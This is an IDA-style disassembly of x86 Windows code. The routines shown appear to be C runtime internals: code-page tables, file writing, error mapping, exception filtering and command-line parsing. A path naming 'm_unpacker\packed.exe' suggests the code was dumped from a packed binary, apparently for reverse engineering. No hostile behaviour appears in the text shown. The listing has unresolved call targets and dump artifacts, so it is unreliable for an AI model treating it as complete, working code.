loc_41EABA: ; CODE XREF: sub_41E92D+1Dj xor eax, eax jmp short loc_41EAC1 ; --------------------------------------------------------------------------- loc_41EABE: ; CODE XREF: sub_41E92D+181j or eax, 0FFFFFFFFh loc_41EAC1: ; CODE XREF: sub_41E92D+18Fj pop edi pop esi pop ebx leave retn sub_41E92D endp ; =============== S U B R O U T I N E ======================================= sub_41EAC6 proc near ; CODE XREF: sub_41E92D+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_48A0C4, 0 cmp eax, 0FFFFFFFEh jnz short loc_41EAE6 mov dword_48A0C4, 1 jmp near ptr 25D0329h ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- loc_41EAE6: ; CODE XREF: sub_41EAC6+Ej cmp eax, 0FFFFFFFDh jnz short loc_41EAFB mov dword_48A0C4, 1 nop jmp near ptr 28619A1h ; --------------------------------------------------------------------------- loc_41EAFB: ; CODE XREF: sub_41EAC6+23j cmp eax, 0FFFFFFFCh jnz short locret_41EB0F mov eax, dword_48A0B8 mov dword_48A0C4, 1 locret_41EB0F: ; CODE XREF: sub_41EAC6+38j retn sub_41EAC6 endp ; =============== S U B R O U T I N E ======================================= sub_41EB10 proc near ; CODE XREF: sub_41E92D+118p ; sub_41E92D+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41EB3D sub eax, 4 jz short loc_41EB37 sub eax, 0Dh jz short loc_41EB31 dec eax jz short loc_41EB2B xor eax, eax retn ; --------------------------------------------------------------------------- loc_41EB2B: ; CODE XREF: sub_41EB10+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41EB31: ; CODE XREF: sub_41EB10+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41EB37: ; CODE XREF: sub_41EB10+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41EB3D: ; CODE XREF: sub_41EB10+9j mov eax, 411h retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EB43 proc near ; CODE XREF: sub_41E92D:loc_41EAB0p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_48B560 rep stosd stosb xor eax, eax mov edi, offset dword_48B450 mov dword_48B444, eax mov dword_48B45C, eax mov dword_48B664, eax stosd stosd stosd pop edi retn sub_41EB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB6C proc near ; CODE XREF: sub_41E92D:loc_41EAB5p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_48B444 nop call near ptr 28612B7h cmp eax, 1 jnz loc_41ECA5 xor eax, eax mov esi, 100h loc_41EB96: ; CODE XREF: sub_41EB6C+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41EB96 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41EBE7 push ebx push edi lea edx, [ebp+var_D] loc_41EBB5: ; CODE XREF: sub_41EB6C+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41EBDC sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41EBDC: ; CODE XREF: sub_41EB6C+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41EBB5 pop edi pop ebx loc_41EBE7: ; CODE XREF: sub_41EB6C+42j push 0 lea eax, [ebp+var_514] push dword_48B664 push dword_48B444 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41FB63 push 0 lea eax, [ebp+var_214] push dword_48B444 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_48B664 call sub_41E709 push 0 lea eax, [ebp+var_314] push dword_48B444 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_48B664 call sub_41E709 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41EC62: ; CODE XREF: sub_41EB6C+135j mov dx, [ecx] test dl, 1 jz short loc_41EC80 or byte_48B561[eax], 10h mov dl, [ebp+eax+var_214] loc_41EC78: ; CODE XREF: sub_41EB6C+127j mov byte_48B460[eax], dl jmp short loc_41EC9C ; --------------------------------------------------------------------------- loc_41EC80: ; CODE XREF: sub_41EB6C+FCj test dl, 2 jz short loc_41EC95 or byte_48B561[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41EC78 ; --------------------------------------------------------------------------- loc_41EC95: ; CODE XREF: sub_41EB6C+117j and byte_48B460[eax], 0 loc_41EC9C: ; CODE XREF: sub_41EB6C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41EC62 jmp short loc_41ECEE ; --------------------------------------------------------------------------- loc_41ECA5: ; CODE XREF: sub_41EB6C+1Dj xor eax, eax mov esi, 100h loc_41ECAC: ; CODE XREF: sub_41EB6C+180j cmp eax, 41h jb short loc_41ECCA cmp eax, 5Ah ja short loc_41ECCA or byte_48B561[eax], 10h mov cl, al add cl, 20h loc_41ECC2: ; CODE XREF: sub_41EB6C+174j mov byte_48B460[eax], cl jmp short loc_41ECE9 ; --------------------------------------------------------------------------- loc_41ECCA: ; CODE XREF: sub_41EB6C+143j ; sub_41EB6C+148j cmp eax, 61h jb short loc_41ECE2 cmp eax, 7Ah ja short loc_41ECE2 or byte_48B561[eax], 20h mov cl, al sub cl, 20h jmp short loc_41ECC2 ; --------------------------------------------------------------------------- loc_41ECE2: ; CODE XREF: sub_41EB6C+161j ; sub_41EB6C+166j and byte_48B460[eax], 0 loc_41ECE9: ; CODE XREF: sub_41EB6C+15Cj inc eax cmp eax, esi jb short loc_41ECAC loc_41ECEE: ; CODE XREF: sub_41EB6C+137j pop esi leave retn sub_41EB6C endp ; =============== S U B R O U T I N E ======================================= sub_41ECF1 proc near ; CODE XREF: ___:0041F138p ; ___:0041F194p ... cmp dword_48B694, 0 jnz short locret_41ED0C push 0FFFFFFFDh call sub_41E92D pop ecx mov dword_48B694, 1 locret_41ED0C: ; CODE XREF: sub_41ECF1+7j retn sub_41ECF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED0D proc near ; CODE XREF: sub_4192B8+2Bp ; sub_4192B8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_48B45C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41ED31 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_418C10 add esp, 0Ch jmp short loc_41ED94 ; --------------------------------------------------------------------------- loc_41ED31: ; CODE XREF: sub_41ED0D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41ED76 mov ecx, [ebp+arg_4] loc_41ED3C: ; CODE XREF: sub_41ED0D+5Bj mov al, [ecx] dec edx movzx esi, al test byte_48B561[esi], 4 mov [edi], al jz short loc_41ED60 inc edi inc ecx test edx, edx jz short loc_41ED6C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41ED72 jmp short loc_41ED66 ; --------------------------------------------------------------------------- loc_41ED60: ; CODE XREF: sub_41ED0D+3Ej inc edi inc ecx test al, al jz short loc_41ED76 loc_41ED66: ; CODE XREF: sub_41ED0D+51j test edx, edx jnz short loc_41ED3C jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED6C: ; CODE XREF: sub_41ED0D+44j and byte ptr [edi-1], 0 jmp short loc_41ED76 ; --------------------------------------------------------------------------- loc_41ED72: ; CODE XREF: sub_41ED0D+4Fj and byte ptr [edi-2], 0 loc_41ED76: ; CODE XREF: sub_41ED0D+2Aj ; sub_41ED0D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41ED91 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41ED91: ; CODE XREF: sub_41ED0D+6Fj mov eax, [ebp+arg_0] loc_41ED94: ; CODE XREF: sub_41ED0D+22j pop edi pop ebp retn sub_41ED0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ED97 proc near ; CODE XREF: sub_4196EF+A2p ; sub_419D23+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_48B440 push esi push edi jnb loc_41EF2B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41EF2B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41EDE8 loc_41EDE1: ; CODE XREF: sub_41ED97+177j xor eax, eax jmp loc_41EF3F ; --------------------------------------------------------------------------- loc_41EDE8: ; CODE XREF: sub_41ED97+48j test al, 20h jz short loc_41EDF8 push 2 push edi push ecx call sub_41E517 add esp, 0Ch loc_41EDF8: ; CODE XREF: sub_41ED97+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EEC7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EEFF loc_41EE18: ; CODE XREF: sub_41ED97+F5j lea eax, [ebp+var_414] loc_41EE1E: ; CODE XREF: sub_41ED97+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EE52 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EE3D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EE3D: ; CODE XREF: sub_41ED97+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EE1E loc_41EE52: ; CODE XREF: sub_41ED97+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2620000h test eax, eax jz short loc_41EEBC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EE8E mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EE18 loc_41EE8E: ; CODE XREF: sub_41ED97+EAj ; sub_41ED97+12Ej xor edi, edi loc_41EE90: ; CODE XREF: sub_41ED97+150j ; sub_41ED97+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EF26 cmp [ebp+arg_0], edi jz short loc_41EEFF push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EEF4 mov dword_48A014, 9 mov dword_48A018, eax jmp loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEBC: ; CODE XREF: sub_41ED97+E0j nop call near ptr 2630B7Ah mov [ebp+arg_0], eax jmp short loc_41EE8E ; --------------------------------------------------------------------------- loc_41EEC7: ; CODE XREF: sub_41ED97+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] nop call near ptr 2620000h test eax, eax jz short loc_41EEE9 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEE9: ; CODE XREF: sub_41ED97+145j nop call near ptr 2630B7Ah mov [ebp+arg_0], eax jmp short loc_41EE90 ; --------------------------------------------------------------------------- loc_41EEF4: ; CODE XREF: sub_41ED97+10Fj push [ebp+arg_0] call sub_41EF44 pop ecx jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EEFF: ; CODE XREF: sub_41ED97+7Bj ; sub_41ED97+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EF14 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EDE1 loc_41EF14: ; CODE XREF: sub_41ED97+16Fj mov dword_48A014, 1Ch mov dword_48A018, edi jmp short loc_41EF3C ; --------------------------------------------------------------------------- loc_41EF26: ; CODE XREF: sub_41ED97+FEj sub eax, [ebp+var_10] jmp short loc_41EF3F ; --------------------------------------------------------------------------- loc_41EF2B: ; CODE XREF: sub_41ED97+15j ; sub_41ED97+37j and dword_48A018, 0 mov dword_48A014, 9 loc_41EF3C: ; CODE XREF: sub_41ED97+120j ; sub_41ED97+166j ... or eax, 0FFFFFFFFh loc_41EF3F: ; CODE XREF: sub_41ED97+4Cj ; sub_41ED97+192j pop edi pop esi pop ebx leave retn sub_41ED97 endp ; =============== S U B R O U T I N E ======================================= sub_41EF44 proc near ; CODE XREF: sub_4197F9+16p ; sub_419BBA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_48A018, ecx mov eax, offset dword_43BA30 loc_41EF55: ; CODE XREF: sub_41EF44+1Ej cmp ecx, [eax] jz short loc_41EF79 add eax, 8 inc edx cmp eax, offset dword_43BB98 jl short loc_41EF55 cmp ecx, 13h jb short loc_41EF86 cmp ecx, 24h ja short loc_41EF86 mov dword_48A014, 0Dh retn ; --------------------------------------------------------------------------- loc_41EF79: ; CODE XREF: sub_41EF44+13j mov eax, dword_43BA34[edx*8] mov dword_48A014, eax retn ; --------------------------------------------------------------------------- loc_41EF86: ; CODE XREF: sub_41EF44+23j ; sub_41EF44+28j cmp ecx, 0BCh jb short loc_41EFA0 cmp ecx, 0CAh mov dword_48A014, 8 jbe short locret_41EFAA loc_41EFA0: ; CODE XREF: sub_41EF44+48j mov dword_48A014, 16h locret_41EFAA: ; CODE XREF: sub_41EF44+5Aj retn sub_41EF44 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_41F0EC test eax, eax pop ecx jz loc_41F0E0 mov ebx, [eax+8] test ebx, ebx jz loc_41F0E0 cmp ebx, 5 jnz short loc_41EFDC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41F0E9 ; --------------------------------------------------------------------------- loc_41EFDC: ; CODE XREF: ___:0041EFCEj cmp ebx, 1 jz loc_41F0DB mov ecx, dword_48A0C8 mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_48A0C8, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41F0CB mov ecx, dword_43BC10 mov edx, dword_43BC14 add edx, ecx push esi cmp ecx, edx jge short loc_41F02B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43BBA0h[esi*4] loc_41F022: ; CODE XREF: ___:0041F029j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41F022 loc_41F02B: ; CODE XREF: ___:0041F014j mov eax, [eax] mov esi, dword_43BC1C cmp eax, 0C000008Eh jnz short loc_41F046 mov dword_43BC1C, 83h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F046: ; CODE XREF: ___:0041F038j cmp eax, 0C0000090h jnz short loc_41F059 mov dword_43BC1C, 81h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F059: ; CODE XREF: ___:0041F04Bj cmp eax, 0C0000091h jnz short loc_41F06C mov dword_43BC1C, 84h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F06C: ; CODE XREF: ___:0041F05Ej cmp eax, 0C0000093h jnz short loc_41F07F mov dword_43BC1C, 85h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F07F: ; CODE XREF: ___:0041F071j cmp eax, 0C000008Dh jnz short loc_41F092 mov dword_43BC1C, 82h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F092: ; CODE XREF: ___:0041F084j cmp eax, 0C000008Fh jnz short loc_41F0A5 mov dword_43BC1C, 86h jmp short loc_41F0B6 ; --------------------------------------------------------------------------- loc_41F0A5: ; CODE XREF: ___:0041F097j cmp eax, 0C0000092h jnz short loc_41F0B6 mov dword_43BC1C, 8Ah loc_41F0B6: ; CODE XREF: ___:0041F044j ; ___:0041F057j ... push dword_43BC1C push 8 call ebx pop ecx mov dword_43BC1C, esi pop ecx pop esi jmp short loc_41F0D3 ; --------------------------------------------------------------------------- loc_41F0CB: ; CODE XREF: ___:0041EFFDj and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41F0D3: ; CODE XREF: ___:0041F0C9j mov eax, [ebp+8] mov dword_48A0C8, eax loc_41F0DB: ; CODE XREF: ___:0041EFDFj or eax, 0FFFFFFFFh jmp short loc_41F0E9 ; --------------------------------------------------------------------------- loc_41F0E0: ; CODE XREF: ___:0041EFBAj ; ___:0041EFC5j push dword ptr [ebp+0Ch] nop call near ptr 25D0000h loc_41F0E9: ; CODE XREF: ___:0041EFD7j ; ___:0041F0DEj pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_41F0EC proc near ; CODE XREF: ___:0041EFB2p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43BC18 cmp dword_43BB98, edx push esi mov eax, offset dword_43BB98 jz short loc_41F119 lea esi, [ecx+ecx*2] lea esi, ds:43BB98h[esi*4] loc_41F10E: ; CODE XREF: sub_41F0EC+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41F119 cmp [eax], edx jnz short loc_41F10E loc_41F119: ; CODE XREF: sub_41F0EC+16j ; sub_41F0EC+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43BB98h[ecx*4] cmp eax, ecx jnb short loc_41F12C cmp [eax], edx jz short locret_41F12E loc_41F12C: ; CODE XREF: sub_41F0EC+3Aj xor eax, eax locret_41F12E: ; CODE XREF: sub_41F0EC+3Ej retn sub_41F0EC endp ; --------------------------------------------------------------------------- cmp dword_48B694, 0 jnz short loc_41F13D call sub_41ECF1 loc_41F13D: ; CODE XREF: ___:0041F136j push esi mov esi, dword_48B68C mov al, [esi] cmp al, 22h jnz short loc_41F16F loc_41F14A: ; CODE XREF: ___:0041F162j ; ___:0041F165j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41F167 test al, al jz short loc_41F167 movzx eax, al push eax call sub_42101D test eax, eax pop ecx jz short loc_41F14A inc esi jmp short loc_41F14A ; --------------------------------------------------------------------------- loc_41F167: ; CODE XREF: ___:0041F150j ; ___:0041F154j cmp byte ptr [esi], 22h jnz short loc_41F179 loc_41F16C: ; CODE XREF: ___:0041F181j inc esi jmp short loc_41F179 ; --------------------------------------------------------------------------- loc_41F16F: ; CODE XREF: ___:0041F148j cmp al, 20h jbe short loc_41F179 loc_41F173: ; CODE XREF: ___:0041F177j inc esi cmp byte ptr [esi], 20h ja short loc_41F173 loc_41F179: ; CODE XREF: ___:0041F16Aj ; ___:0041F16Dj ... mov al, [esi] test al, al jz short loc_41F183 cmp al, 20h jbe short loc_41F16C loc_41F183: ; CODE XREF: ___:0041F17Dj mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_48B694, ebx push esi push edi jnz short loc_41F199 call sub_41ECF1 loc_41F199: ; CODE XREF: ___:0041F192j mov esi, dword_48A060 xor edi, edi loc_41F1A1: ; CODE XREF: ___:0041F1B7j mov al, [esi] cmp al, bl jz short loc_41F1B9 cmp al, 3Dh jz short loc_41F1AC inc edi loc_41F1AC: ; CODE XREF: ___:0041F1A9j push esi call sub_417AB0 pop ecx lea esi, [esi+eax+1] jmp short loc_41F1A1 ; --------------------------------------------------------------------------- loc_41F1B9: ; CODE XREF: ___:0041F1A5j lea eax, ds:4[edi*4] push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov dword_48A03C, esi jnz short loc_41F1DB push 9 call sub_419CDA pop ecx loc_41F1DB: ; CODE XREF: ___:0041F1D1j mov edi, dword_48A060 cmp [edi], bl jz short loc_41F21E push ebp loc_41F1E6: ; CODE XREF: ___:0041F21Bj push edi call sub_417AB0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41F217 push ebp call sub_417B89 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41F20A push 9 call sub_419CDA pop ecx loc_41F20A: ; CODE XREF: ___:0041F200j push edi push dword ptr [esi] call sub_4179C0 pop ecx add esi, 4 pop ecx loc_41F217: ; CODE XREF: ___:0041F1F3j add edi, ebp cmp [edi], bl jnz short loc_41F1E6 pop ebp loc_41F21E: ; CODE XREF: ___:0041F1E3j push dword_48A060 call sub_417C3B pop ecx mov dword_48A060, ebx mov [esi], ebx pop edi pop esi mov dword_48B690, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_48B694, ebx push esi push edi jnz short loc_41F257 call sub_41ECF1 loc_41F257: ; CODE XREF: ___:0041F250j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx nop call near ptr 2640000h mov eax, dword_48B68C mov off_48A04C, esi mov edi, esi cmp [eax], bl jz short loc_41F27C mov edi, eax loc_41F27C: ; CODE XREF: ___:0041F278j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_41F2D9 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_417B89 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41F2AC push 8 call sub_419CDA pop ecx loc_41F2AC: ; CODE XREF: ___:0041F2A2j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F2D9 mov eax, [ebp-4] add esp, 14h dec eax mov dword_48A034, esi pop edi pop esi mov dword_48A030, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D9 proc near ; CODE XREF: ___:0041F287p ; ___:0041F2BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F303 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F303: ; CODE XREF: sub_41F2D9+20j cmp byte ptr [eax], 22h jnz short loc_41F34C loc_41F308: ; CODE XREF: sub_41F2D9+58j ; sub_41F2D9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F33A test dl, dl jz short loc_41F33A movzx edx, dl test byte_48B561[edx], 4 jz short loc_41F32D inc dword ptr [ecx] test esi, esi jz short loc_41F32D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F32D: ; CODE XREF: sub_41F2D9+46j ; sub_41F2D9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F308 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F308 ; --------------------------------------------------------------------------- loc_41F33A: ; CODE XREF: sub_41F2D9+36j ; sub_41F2D9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F344 and byte ptr [esi], 0 inc esi loc_41F344: ; CODE XREF: sub_41F2D9+65j cmp byte ptr [eax], 22h jnz short loc_41F38F inc eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F34C: ; CODE XREF: sub_41F2D9+2Dj ; sub_41F2D9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F357 mov dl, [eax] mov [esi], dl inc esi loc_41F357: ; CODE XREF: sub_41F2D9+77j mov dl, [eax] inc eax movzx ebx, dl test byte_48B561[ebx], 4 jz short loc_41F372 inc dword ptr [ecx] test esi, esi jz short loc_41F371 mov bl, [eax] mov [esi], bl inc esi loc_41F371: ; CODE XREF: sub_41F2D9+91j inc eax loc_41F372: ; CODE XREF: sub_41F2D9+8Bj cmp dl, 20h jz short loc_41F380 test dl, dl jz short loc_41F384 cmp dl, 9 jnz short loc_41F34C loc_41F380: ; CODE XREF: sub_41F2D9+9Cj test dl, dl jnz short loc_41F387 loc_41F384: ; CODE XREF: sub_41F2D9+A0j dec eax jmp short loc_41F38F ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F2D9+A9j test esi, esi jz short loc_41F38F and byte ptr [esi-1], 0 loc_41F38F: ; CODE XREF: sub_41F2D9+6Ej ; sub_41F2D9+71j ... and [ebp+arg_10], 0 loc_41F393: ; CODE XREF: sub_41F2D9+19Ej cmp byte ptr [eax], 0 jz loc_41F47C loc_41F39C: ; CODE XREF: sub_41F2D9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F3A8 cmp dl, 9 jnz short loc_41F3AB loc_41F3A8: ; CODE XREF: sub_41F2D9+C8j inc eax jmp short loc_41F39C ; --------------------------------------------------------------------------- loc_41F3AB: ; CODE XREF: sub_41F2D9+CDj cmp byte ptr [eax], 0 jz loc_41F47C test edi, edi jz short loc_41F3C0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F3C0: ; CODE XREF: sub_41F2D9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F3C5: ; CODE XREF: sub_41F2D9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F3CE: ; CODE XREF: sub_41F2D9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F3D7 inc eax inc ebx jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3D7: ; CODE XREF: sub_41F2D9+F8j cmp byte ptr [eax], 22h jnz short loc_41F408 test bl, 1 jnz short loc_41F406 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F3F5 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F3F5 mov eax, edx jmp short loc_41F3F8 ; --------------------------------------------------------------------------- loc_41F3F5: ; CODE XREF: sub_41F2D9+10Dj ; sub_41F2D9+116j mov [ebp+arg_0], edi loc_41F3F8: ; CODE XREF: sub_41F2D9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41F406: ; CODE XREF: sub_41F2D9+106j shr ebx, 1 loc_41F408: ; CODE XREF: sub_41F2D9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F41D inc ebx loc_41F410: ; CODE XREF: sub_41F2D9+142j test esi, esi jz short loc_41F418 mov byte ptr [esi], 5Ch inc esi loc_41F418: ; CODE XREF: sub_41F2D9+139j inc dword ptr [ecx] dec ebx jnz short loc_41F410 loc_41F41D: ; CODE XREF: sub_41F2D9+134j mov dl, [eax] test dl, dl jz short loc_41F46D cmp [ebp+arg_10], 0 jnz short loc_41F433 cmp dl, 20h jz short loc_41F46D cmp dl, 9 jz short loc_41F46D loc_41F433: ; CODE XREF: sub_41F2D9+14Ej cmp [ebp+arg_0], 0 jz short loc_41F467 test esi, esi jz short loc_41F456 movzx ebx, dl test byte_48B561[ebx], 4 jz short loc_41F44F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F44F: ; CODE XREF: sub_41F2D9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F465 ; --------------------------------------------------------------------------- loc_41F456: ; CODE XREF: sub_41F2D9+162j movzx edx, dl test byte_48B561[edx], 4 jz short loc_41F465 inc eax inc dword ptr [ecx] loc_41F465: ; CODE XREF: sub_41F2D9+17Bj ; sub_41F2D9+187j inc dword ptr [ecx] loc_41F467: ; CODE XREF: sub_41F2D9+15Ej inc eax jmp loc_41F3C5 ; --------------------------------------------------------------------------- loc_41F46D: ; CODE XREF: sub_41F2D9+148j ; sub_41F2D9+153j ... test esi, esi jz short loc_41F475 and byte ptr [esi], 0 inc esi loc_41F475: ; CODE XREF: sub_41F2D9+196j inc dword ptr [ecx] jmp loc_41F393 ; --------------------------------------------------------------------------- loc_41F47C: ; CODE XREF: sub_41F2D9+BDj ; sub_41F2D9+D5j test edi, edi jz short loc_41F483 and dword ptr [edi], 0 loc_41F483: ; CODE XREF: sub_41F2D9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F2D9 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_48A1D0 push ebx push ebp mov ebp, dword_42403C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F4DB call ebp mov esi, eax cmp esi, ebx jz short loc_41F4BC mov dword_48A1D0, 1 jmp short loc_41F4E4 ; --------------------------------------------------------------------------- loc_41F4BC: ; CODE XREF: ___:0041F4AEj nop call near ptr 25C0B2Bh mov edi, eax cmp edi, ebx jz loc_41F5B6 mov dword_48A1D0, 2 jmp loc_41F56A ; --------------------------------------------------------------------------- loc_41F4DB: ; CODE XREF: ___:0041F4A6j cmp eax, 1 jnz loc_41F565 loc_41F4E4: ; CODE XREF: ___:0041F4BAj cmp esi, ebx jnz short loc_41F4F4 call ebp mov esi, eax cmp esi, ebx jz loc_41F5B6 loc_41F4F4: ; CODE XREF: ___:0041F4E6j cmp [esi], bx mov eax, esi jz short loc_41F509 loc_41F4FB: ; CODE XREF: ___:0041F500j ; ___:0041F507j inc eax inc eax cmp [eax], bx jnz short loc_41F4FB inc eax inc eax cmp [eax], bx jnz short loc_41F4FB loc_41F509: ; CODE XREF: ___:0041F4F9j sub eax, esi mov edi, dword_424150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx 